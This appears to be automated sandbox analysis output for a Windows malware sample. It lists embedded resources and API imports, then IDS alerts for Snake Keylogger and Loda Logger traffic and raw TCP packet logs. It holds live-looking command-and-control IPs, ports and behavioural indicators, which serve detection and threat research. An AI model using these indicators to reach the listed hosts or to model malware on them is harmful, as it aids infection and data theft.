RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.36350844277673544
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x15e000	PE32 executable (GUI) Intel 80386, for MS Windows			0.5394821166992188
RT_RCDATA	0x216e14	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x216e18	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x21aa18	0x64c	data			0.5998759305210918
RT_RCDATA	0x21b064	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x21b1b8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x21f98c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x21f9a0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x21f9b4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x21f9c8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x21f9dc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x21f9f0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x21fa04	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x21fa18	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x21fa2c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T11:35:48.082414+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.4	49758	172.111.138.100	5552	TCP
2024-12-30T11:35:55.334396+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49735	142.250.186.142	443	TCP
2024-12-30T11:35:55.369145+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49736	142.250.186.142	443	TCP
2024-12-30T11:35:55.836952+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.4	49739	69.42.215.252	80	TCP
2024-12-30T11:35:56.333740+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49740	142.250.186.142	443	TCP
2024-12-30T11:35:56.462028+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49743	142.250.186.142	443	TCP
2024-12-30T11:35:57.375990+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49746	142.250.186.142	443	TCP
2024-12-30T11:35:57.447128+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49749	142.250.186.142	443	TCP
2024-12-30T11:35:57.671734+0100	2822116	ETPRO MALWARE Loda Logger CnC Beacon	1	192.168.2.4	49758	172.111.138.100	5552	TCP
2024-12-30T11:35:57.671734+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.4	49758	172.111.138.100	5552	TCP
2024-12-30T11:35:58.365272+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49753	142.250.186.142	443	TCP
2024-12-30T11:35:58.419082+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49755	142.250.186.142	443	TCP
2024-12-30T11:35:59.054389+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49763	142.250.186.142	443	TCP
2024-12-30T11:35:59.054597+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49762	142.250.186.142	443	TCP
2024-12-30T11:36:00.028678+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49767	142.250.186.142	443	TCP
2024-12-30T11:36:00.040252+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49766	142.250.186.142	443	TCP
2024-12-30T11:36:01.021011+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49774	142.250.186.142	443	TCP
2024-12-30T11:36:01.033440+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49772	142.250.186.142	443	TCP
2024-12-30T11:36:02.033273+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49777	142.250.186.142	443	TCP
2024-12-30T11:36:02.033283+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49776	142.250.186.142	443	TCP
2024-12-30T11:36:03.021610+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49781	142.250.186.142	443	TCP
2024-12-30T11:36:03.021633+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49782	142.250.186.142	443	TCP
2024-12-30T11:36:50.131980+0100	2830912	ETPRO MALWARE Loda Logger CnC Beacon Response M2	1	172.111.138.100	5552	192.168.2.4	49758	TCP
2024-12-30T11:37:25.462798+0100	2830912	ETPRO MALWARE Loda Logger CnC Beacon Response M2	1	172.111.138.100	5552	192.168.2.4	49758	TCP
2024-12-30T11:38:03.509389+0100	2830912	ETPRO MALWARE Loda Logger CnC Beacon Response M2	1	172.111.138.100	5552	192.168.2.4	49758	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:35:54.326419115 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.326452017 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.326524019 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.341100931 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.341119051 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.364451885 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.364501953 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.364562035 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.365715981 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.365731001 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.973725080 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.973817110 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.974870920 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.974947929 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.993099928 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.993175030 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:54.993927956 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:54.993978977 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.044420004 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.044440985 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.044491053 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.044519901 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.044996977 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.045074940 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.045486927 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.045557022 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.051954985 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.056674004 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.099330902 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.103322983 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.254878044 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:35:55.259785891 CET	80	49739	69.42.215.252	192.168.2.4
Dec 30, 2024 11:35:55.260435104 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:35:55.265538931 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:35:55.270345926 CET	80	49739	69.42.215.252	192.168.2.4
Dec 30, 2024 11:35:55.334446907 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.334564924 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.335211992 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.335304976 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.335346937 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.335424900 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.336391926 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.336421013 CET	443	49735	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.336431980 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.336477995 CET	49735	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.337785006 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.337841034 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.337902069 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.339010000 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.339025974 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.353111029 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.353156090 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:55.353215933 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.353641033 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.353655100 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:55.369158983 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.369244099 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.369268894 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.369307041 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.369410038 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.369457006 CET	443	49736	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.369548082 CET	49736	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.371023893 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.371071100 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:55.371176004 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.371339083 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.371375084 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.371428967 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.373264074 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.373277903 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.373758078 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.373774052 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:55.836880922 CET	80	49739	69.42.215.252	192.168.2.4
Dec 30, 2024 11:35:55.836951971 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:35:55.958991051 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.959247112 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.960681915 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.961357117 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.980078936 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.980101109 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.980866909 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.981173992 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.981971979 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.986304045 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:55.986829042 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:55.992964983 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.993324995 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:55.993705034 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:55.996501923 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.004599094 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.004714966 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.027333021 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.092777967 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.092808962 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.093159914 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.093245029 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.093866110 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.135338068 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.164469004 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.164490938 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.164872885 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.168623924 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.172403097 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.210917950 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.210961103 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.211390972 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.211512089 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.215657949 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.219326973 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.259334087 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.333745956 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.333903074 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.333935976 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.333997965 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.334553003 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.334616899 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.335007906 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.382451057 CET	49740	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.382472038 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.382503986 CET	443	49740	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.382528067 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.382594109 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.382831097 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.382847071 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.424618959 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.424674988 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.424690962 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.424721956 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.424730062 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.424763918 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.424971104 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.425013065 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.425017118 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.425050974 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.435013056 CET	49741	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.435030937 CET	443	49741	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.435528994 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.435558081 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.435651064 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.436037064 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.436049938 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.462035894 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.462120056 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.462141991 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.462408066 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.462542057 CET	49743	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.462574005 CET	443	49743	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.462625027 CET	49743	443	192.168.2.4	142.250.186.142
